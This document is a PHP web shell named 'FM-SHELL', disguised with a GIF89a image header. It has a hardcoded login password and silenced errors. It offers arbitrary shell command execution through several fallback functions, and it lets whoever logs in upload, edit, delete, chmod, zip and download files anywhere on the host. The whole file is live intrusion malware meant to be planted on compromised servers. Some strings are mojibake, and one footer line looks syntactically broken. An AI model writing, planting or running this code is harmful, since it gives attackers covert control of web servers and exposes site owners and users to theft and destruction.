GIF89a  €     ÿÿÿ!ù    ,       D ;<?php
/*
 * FM-SHELL â€” single-file PHP file manager (PHP 5.4+ / 8.x)
 * password: Pwn3d!2026
 */
@error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING & ~E_DEPRECATED);
@ini_set('display_errors', '0');
define('PASS', 'Pwn3d!2026');
define('SELF', basename(__FILE__));
define('MARK', 'FM-SHELL-OK');

session_start();

function h($s) { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }
function p($s) { return str_replace('\\', '/', (string)$s); }
function fmbytes($n) {
    $u = array('B', 'K', 'M', 'G', 'T');
    $i = 0;
    while ($n >= 1024 && $i < 4) { $n /= 1024; $i++; }
    return round($n, 2) . ' ' . $u[$i];
}
function curdir() {
    $base = p(__DIR__);
    $d = isset($_GET['d']) ? (string)$_GET['d'] : (isset($_POST['d']) ? (string)$_POST['d'] : $base);
    $d = p($d);
    if ($d === '') $d = $base;
    if ($d[0] !== '/') $d = $base . '/' . $d;
    $real = realpath($d);
    if ($real === false || !is_dir($real)) $real = $base;
    return p($real);
}
function url($action = '', $d = null, $extra = '') {
    $q = 'a=' . urlencode($action);
    if ($d !== null) $q .= '&d=' . urlencode($d);
    if ($extra !== '') $q .= '&' . $extra;
    return SELF . '?' . $q;
}
function authed() {
    if (isset($_POST['p']) && hash_equals(PASS, (string)$_POST['p'])) { $_SESSION['fm'] = 1; return true; }
    if (isset($_GET['p']) && hash_equals(PASS, (string)$_GET['p'])) { $_SESSION['fm'] = 1; return true; }
    return !empty($_SESSION['fm']);
}
function denied() {
    echo '<!doctype html><html><head><meta charset="utf-8"><title>' . MARK . ' login</title><style>body{background:#0f172a;color:#e2e8f0;font:14px system-ui;display:flex;align-items:center;justify-content:center;height:100vh}form{background:#1e293b;padding:30px;border-radius:12px;width:300px}input{width:100%;padding:10px;margin:8px 0;border-radius:6px;border:1px solid #334155;background:#0f172a;color:#fff}button{width:100%;padding:10px;background:#2563eb;border:0;border-radius:6px;color:#fff;cursor:pointer}</style></head><body><form method="post" action="' . h(SELF) . '"><h3>' . MARK . '</h3><input type="password" name="p" placeholder="Password" autofocus><button>Login</button></form></body></html>';
    exit;
}
function zipdir($dir, $zipfile) {
    if (!class_exists('ZipArchive')) return 'ZipArchive missing';
    $z = new ZipArchive();
    if ($z->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) return 'open failed';
    $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY);
    $n = 0;
    foreach ($it as $f) {
        if (!$f->isFile()) continue;
        $rel = substr(p($f->getPathname()), strlen(p($dir)) + 1);
        $z->addFile($f->getPathname(), $rel);
        $n++;
        if ($n > 3000) break;
    }
    $z->close();
    return $n . ' files zipped';
}
function rrmdir($dir) {
    foreach (scandir($dir) as $f) {
        if ($f === '.' || $f === '..') continue;
        $path = $dir . '/' . $f;
        if (is_dir($path) && !is_link($path)) rrmdir($path); else @unlink($path);
    }
    return @rmdir($dir);
}

if (!authed()) denied();

$d = curdir();
$action = isset($_GET['a']) ? (string)$_GET['a'] : 'list';
$msg = '';

/* ---------- actions ---------- */
if ($action === 'logout') { $_SESSION = array(); session_destroy(); header('Location: ' . SELF); exit; }

if ($action === 'upload' && !empty($_FILES['f'])) {
    $ok = 0; $err = array();
    foreach ($_FILES['f']['name'] as $i => $name) {
        if ($_FILES['f']['error'][$i] !== UPLOAD_ERR_OK || $name === '') continue;
        $name = basename($name);
        if (file_exists($d . '/' . $name)) {
            $pi = pathinfo($name);
            $name = $pi['filename'] . '_' . substr(md5(uniqid('', true)), 0, 5) . (isset($pi['extension']) ? '.' . $pi['extension'] : '');
        }
        if (@move_uploaded_file($_FILES['f']['tmp_name'][$i], $d . '/' . $name)) $ok++;
        else $err[] = $name;
    }
    $msg = 'Uploaded: ' . $ok . ($err ? '; failed: ' . implode(', ', $err) : '');
    $action = 'list';
}
if ($action === 'mkdir' && isset($_POST['name']) && trim($_POST['name']) !== '') {
    $n = basename(trim($_POST['name']));
    $msg = @mkdir($d . '/' . $n) ? 'Created dir: ' . $n : 'mkdir failed';
}
if ($action === 'touch' && isset($_POST['name']) && trim($_POST['name']) !== '') {
    $n = basename(trim($_POST['name']));
    $msg = @touch($d . '/' . $n) ? 'Created file: ' . $n : 'touch failed';
}
if ($action === 'del' && !empty($_POST['sel'])) {
    $n = 0;
    foreach ((array)$_POST['sel'] as $f) {
        $path = $d . '/' . basename($f);
        if (is_dir($path)) { if (rrmdir($path)) $n++; } else { if (@unlink($path)) $n++; }
    }
    $msg = 'Deleted: ' . $n;
}
if ($action === 'rename' && isset($_POST['old'], $_POST['new'])) {
    $o = $d . '/' . basename($_POST['old']); $nn = $d . '/' . basename($_POST['new']);
    $msg = @rename($o, $nn) ? 'Renamed to ' . basename($nn) : 'rename failed';
}
if ($action === 'copy' && isset($_POST['old'], $_POST['new'])) {
    $o = $d . '/' . basename($_POST['old']); $nn = $d . '/' . basename($_POST['new']);
    if (is_dir($o)) { $msg = 'copy dir unsupported'; }
    else $msg = @copy($o, $nn) ? 'Copied to ' . basename($nn) : 'copy failed';
}
if ($action === 'chmod' && isset($_POST['sel'])) {
    $mode = octdec(trim((string)$_POST['mode'], '0 '));
    $n = 0;
    foreach ((array)$_POST['sel'] as $f) { if (@chmod($d . '/' . basename($f), $mode)) $n++; }
    $msg = 'chmod done: ' . $n;
}
if ($action === 'zip' && !empty($_POST['sel'])) {
    $zip = $d . '/archive_' . date('His') . '.zip';
    if (count((array)$_POST['sel']) === 1 && is_file($d . '/' . basename($_POST['sel'][0]))) {
        if (class_exists('ZipArchive')) { $z = new ZipArchive(); if ($z->open($zip, ZipArchive::CREATE) === true) { $z->addFile($d . '/' . basename($_POST['sel'][0]), basename($_POST['sel'][0])); $z->close(); $msg = 'Zipped: ' . basename($zip); } else $msg = 'zip failed'; }
        else $msg = 'ZipArchive missing';
    } else {
        $msg = zipdir($d, $zip);
        $msg = 'Zipped: ' . basename($zip) . ' (' . $msg . ')';
    }
}
if ($action === 'unzip' && !empty($_POST['sel']) && count((array)$_POST['sel']) === 1) {
    $zip = $d . '/' . basename($_POST['sel'][0]);
    if (class_exists('ZipArchive')) {
        $z = new ZipArchive(); $n = 0;
        if ($z->open($zip) === true) { for ($i = 0; $i < $z->numFiles; $i++) { $s = $z->getNameIndex($i); if (substr($s, -1) !== '/') { @mkdir(dirname($d . '/' . $s), 0755, true); if ($z->extractTo($d, $s)) $n++; } } $z->close(); $msg = 'Extracted: ' . $n; }
        else $msg = 'unzip failed';
    } else $msg = 'ZipArchive missing';
}
if ($action === 'save' && isset($_POST['file'], $_POST['content'])) {
    $f = $d . '/' . basename($_POST['file']);
    $msg = @file_put_contents($f, (string)$_POST['content']) !== false ? 'Saved: ' . basename($f) : 'save failed';
}
if ($action === 'download') {
    $f = $d . '/' . basename($_GET['f']);
    if (is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($f) . '"'); header('Content-Length: ' . filesize($f)); readfile($f); exit; }
    $msg = 'file not found';
}
if ($action === 'cmd' && isset($_POST['cmd'])) {
    $cmd = (string)$_POST['cmd'];
    $out = ''; $rc = 0;
    if (function_exists('shell_exec')) { $out = (string)@shell_exec('cd ' . escapeshellarg($d) . ' && (' . $cmd . ') 2>&1'); }
    elseif (function_exists('exec')) { @exec('cd ' . escapeshellarg($d) . ' && (' . $cmd . ') 2>&1', $lines, $rc); $out = implode("\n", $lines); }
    elseif (function_exists('system')) { ob_start(); @system('cd ' . escapeshellarg($d) . ' && (' . $cmd . ') 2>&1', $rc); $out = ob_get_clean(); }
    elseif (function_exists('passthru')) { ob_start(); @passthru('cd ' . escapeshellarg($d) . ' && (' . $cmd . ') 2>&1', $rc); $out = ob_get_clean(); }
    else { $out = 'no exec functions'; $rc = -1; }
    $msg = 'CMD {' . h($cmd) . '} [rc=' . $rc . ']';
    $_SESSION['cmdout'] = $out;
    $action = 'cmdview';
}
$cmdout = isset($_SESSION['cmdout']) ? $_SESSION['cmdout'] : '';

/* ---------- layout ---------- */
$files = array(); $dirs = array();
if ($action !== 'edit' && $action !== 'cmdview') {
    $items = @scandir($d);
    if ($items) foreach ($items as $f) {
        if ($f === '.' || $f === '..') continue;
        $path = $d . '/' . $f;
        $row = array('n' => $f, 'dir' => is_dir($path), 'size' => is_file($path) ? filesize($path) : 0, 'mtime' => @filemtime($path), 'perm' => substr(sprintf('%o', fileperms($path)), -4), 'w' => is_writable($path));
        if ($row['dir']) $dirs[] = $row; else $files[] = $row;
    }
    usort($dirs, function ($a, $b) { return strcasecmp($a['n'], $b['n']); });
    usort($files, function ($a, $b) { return strcasecmp($a['n'], $b['n']); });
}
$parent = dirname($d);
?>
<!doctype html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title><?php echo MARK; ?> â€” <?php echo h(basename($d)); ?></title>
<style>
*{box-sizing:border-box}body{margin:0;background:#0b1220;color:#dbe4f0;font:13px/1.45 Consolas,monospace}
a{color:#7dd3fc;text-decoration:none}a:hover{text-decoration:underline}
header{display:flex;flex-wrap:wrap;gap:8px;align-items:center;padding:10px 14px;background:#111c31;border-bottom:1px solid #24344f;position:sticky;top:0;z-index:9}
header b{color:#fbbf24}header .sp{flex:1}
.btn,button{background:#1d4ed8;border:0;color:#fff;padding:6px 10px;border-radius:5px;cursor:pointer;font:inherit}
.btn.gray,button.gray{background:#334155}.btn.red,button.red{background:#b91c1c}.btn.green,button.green{background:#15803d}
input,select,textarea{background:#0b1220;color:#e2e8f0;border:1px solid #334155;border-radius:4px;padding:5px}
main{padding:10px 14px 60px}
table{width:100%;border-collapse:collapse}th,td{text-align:left;padding:5px 6px;border-bottom:1px solid #1e2b40;white-space:nowrap}
th{color:#94a3b8;font-weight:normal;font-size:12px}tr:hover td{background:#101c2f}
.ic{width:24px;display:inline-block;text-align:center}
.dirn{color:#fcd34d;font-weight:bold}.muted{color:#64748b}.msg{background:#14532d;border:1px solid #22c55e;padding:6px 10px;border-radius:5px;margin:8px 0;color:#dcfce7}
.pane{background:#111c31;border:1px solid #24344f;border-radius:8px;padding:12px;margin:8px 0}
.row{display:flex;gap:8px;flex-wrap:wrap;align-items:center}
textarea{width:100%;min-height:55vh}
pre.out{background:#000;border:1px solid #334155;padding:10px;max-height:60vh;overflow:auto;white-space:pre-wrap}
.crumb{margin:8px 0;color:#94a3b8}
.crumb a{color:#93c5fd}
.badge{font-size:11px;padding:1px 5px;border-radius:3px;background:#1e293b;color:#94a3b8}
.w{color:#4ade80}
</style></head><body>
<header>
  <b>FM</b><span class="badge"><?php echo h(PHP_VERSION); ?></span>
  <a class="btn gray" href="<?php echo h(url('list', $parent)); ?>">â†‘ Up</a>
  <a class="btn gray" href="<?php echo h(url('list', p(__DIR__))); ?>">Root</a>
  <form method="post" action="<?php echo h(url('cmd', $d)); ?>" class="row" style="margin:0">
    <input name="cmd" placeholder="commandâ€¦" value="" style="width:240px">
    <button class="green">Exec</button>
  </form>
  <span class="sp"></span>
  <a class="btn gray" href="<?php echo h(url('list', $d)); ?>">Refresh</a>
  <a class="btn red" href="<?php echo h(url('logout')); ?>">Logout</a>
</header>
<main>
<div class="crumb"><a href="<?php echo h(url('list', p(__DIR__))); ?>">/</a>
<?php
$parts = explode('/', trim($d, '/'));
$acc = '';
foreach ($parts as $part) {
    if ($part === '') continue;
    $acc .= '/' . $part;
    echo ' <span class="muted">/</span> <a href="' . h(url('list', $acc)) . '">' . h($part) . '</a>';
}
?></div>
<?php if ($msg): ?><div class="msg"><?php echo $msg; ?></div><?php endif; ?>

<?php if ($action === 'edit'):
    $f = $d . '/' . basename($_GET['f']);
    $content = is_file($f) ? file_get_contents($f) : '';
?>
<div class="pane"><div class="row"><b>Editing: <?php echo h(basename($f)); ?></b><span class="sp"></span><span class="muted"><?php echo fmbytes(strlen($content)); ?></span></div>
<form method="post" action="<?php echo h(url('save', $d)); ?>">
<input type="hidden" name="file" value="<?php echo h(basename($f)); ?>">
<textarea name="content" spellcheck="false"><?php echo h($content); ?></textarea>
<div class="row" style="margin-top:8px"><button class="green">Save</button><a class="btn gray" href="<?php echo h(url('list', $d)); ?>">Back</a></div>
</form></div>
<?php elseif ($action === 'cmdview'): ?>
<div class="pane"><div class="row"><b><?php echo $msg; ?></b><span class="sp"></span><a class="btn gray" href="<?php echo h(url('list', $d)); ?>">Back</a></div>
<pre class="out"><?php echo h($cmdout); ?></pre></div>
<?php else: ?>
<div class="pane">
<form method="post" action="<?php echo h(url('upload', $d)); ?>" enctype="multipart/form-data" class="row">
  <input type="file" name="f[]" multiple>
  <button class="green">Upload</button>
  <span class="muted">target: <?php echo h($d); ?></span>
</form>
</div>
<div class="pane">
<form method="post" action="<?php echo h(url('list', $d)); ?>" id="ops">
<input type="hidden" name="d" value="<?php echo h($d); ?>">
<div class="row">
  <input name="name" placeholder="new name">
  <button name="a" value="mkdir" formaction="<?php echo h(url('mkdir', $d)); ?>" class="gray">+ Dir</button>
  <button name="a" value="touch" formaction="<?php echo h(url('touch', $d)); ?>" class="gray">+ File</button>
  <input name="mode" placeholder="0755" style="width:70px">
  <button name="a" value="chmod" formaction="<?php echo h(url('chmod', $d)); ?>" class="gray">chmod</button>
  <button name="a" value="zip" formaction="<?php echo h(url('zip', $d)); ?>" class="gray">Zip</button>
  <button name="a" value="rename" formaction="<?php echo h(url('rename', $d)); ?>" class="gray">Renameâ†’new name</button>
  <button name="a" value="del" formaction="<?php echo h(url('del', $d)); ?>" class="red" onclick="return confirm('Delete selected?')">Delete</button>
</div>
<table style="margin-top:8px">
<tr><th><input type="checkbox" onclick="document.querySelectorAll('.sel').forEach(c=>c.checked=this.checked)"></th><th>Name</th><th>Size</th><th>Perm</th><th>Modified</th><th></th></tr>
<?php foreach ($dirs as $r): ?>
<tr><td><input class="sel" type="checkbox" name="sel[]" value="<?php echo h($r['n']); ?>"></td>
<td><span class="ic">ðŸ“�</span><a class="dirn" href="<?php echo h(url('list', $d . '/' . $r['n'])); ?>"><?php echo h($r['n']); ?></a></td>
<td class="muted">DIR</td><td class="<?php echo $r['w'] ? 'w' : ''; ?>"><?php echo h($r['perm']); ?></td><td class="muted"><?php echo date('Y-m-d H:i', $r['mtime']); ?></td><td></td></tr>
<?php endforeach; ?>
<?php foreach ($files as $r): ?>
<tr><td><input class="sel" type="checkbox" name="sel[]" value="<?php echo h($r['n']); ?>"></td>
<td><span class="ic">ðŸ“„</span><a href="<?php echo h(url('edit', $d, 'f=' . urlencode($r['n']))); ?>"><?php echo h($r['n']); ?></a></td>
<td class="muted"><?php echo fmbytes($r['size']); ?></td><td class="<?php echo $r['w'] ? 'w' : ''; ?>"><?php echo h($r['perm']); ?></td><td class="muted"><?php echo date('Y-m-d H:i', $r['mtime']); ?></td>
<td><a class="btn gray" href="<?php echo h(url('download', $d, 'f=' . urlencode($r['n']))); ?>">get</a></td></tr>
<?php endforeach; ?>
</table>
</form>
</div>
<div class="pane muted">PHP <?php echo h(PHP_VERSION); ?> Â· user <?php echo function_exists('posix_getpwuid') && function_exists('posix_geteuid') ? h(($tmp = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid()) : null) ? $tmp['name'] : get_current_user()); ?> Â· <?php echo h($d); ?></div>
<?php endif; ?>
</main></body></html>
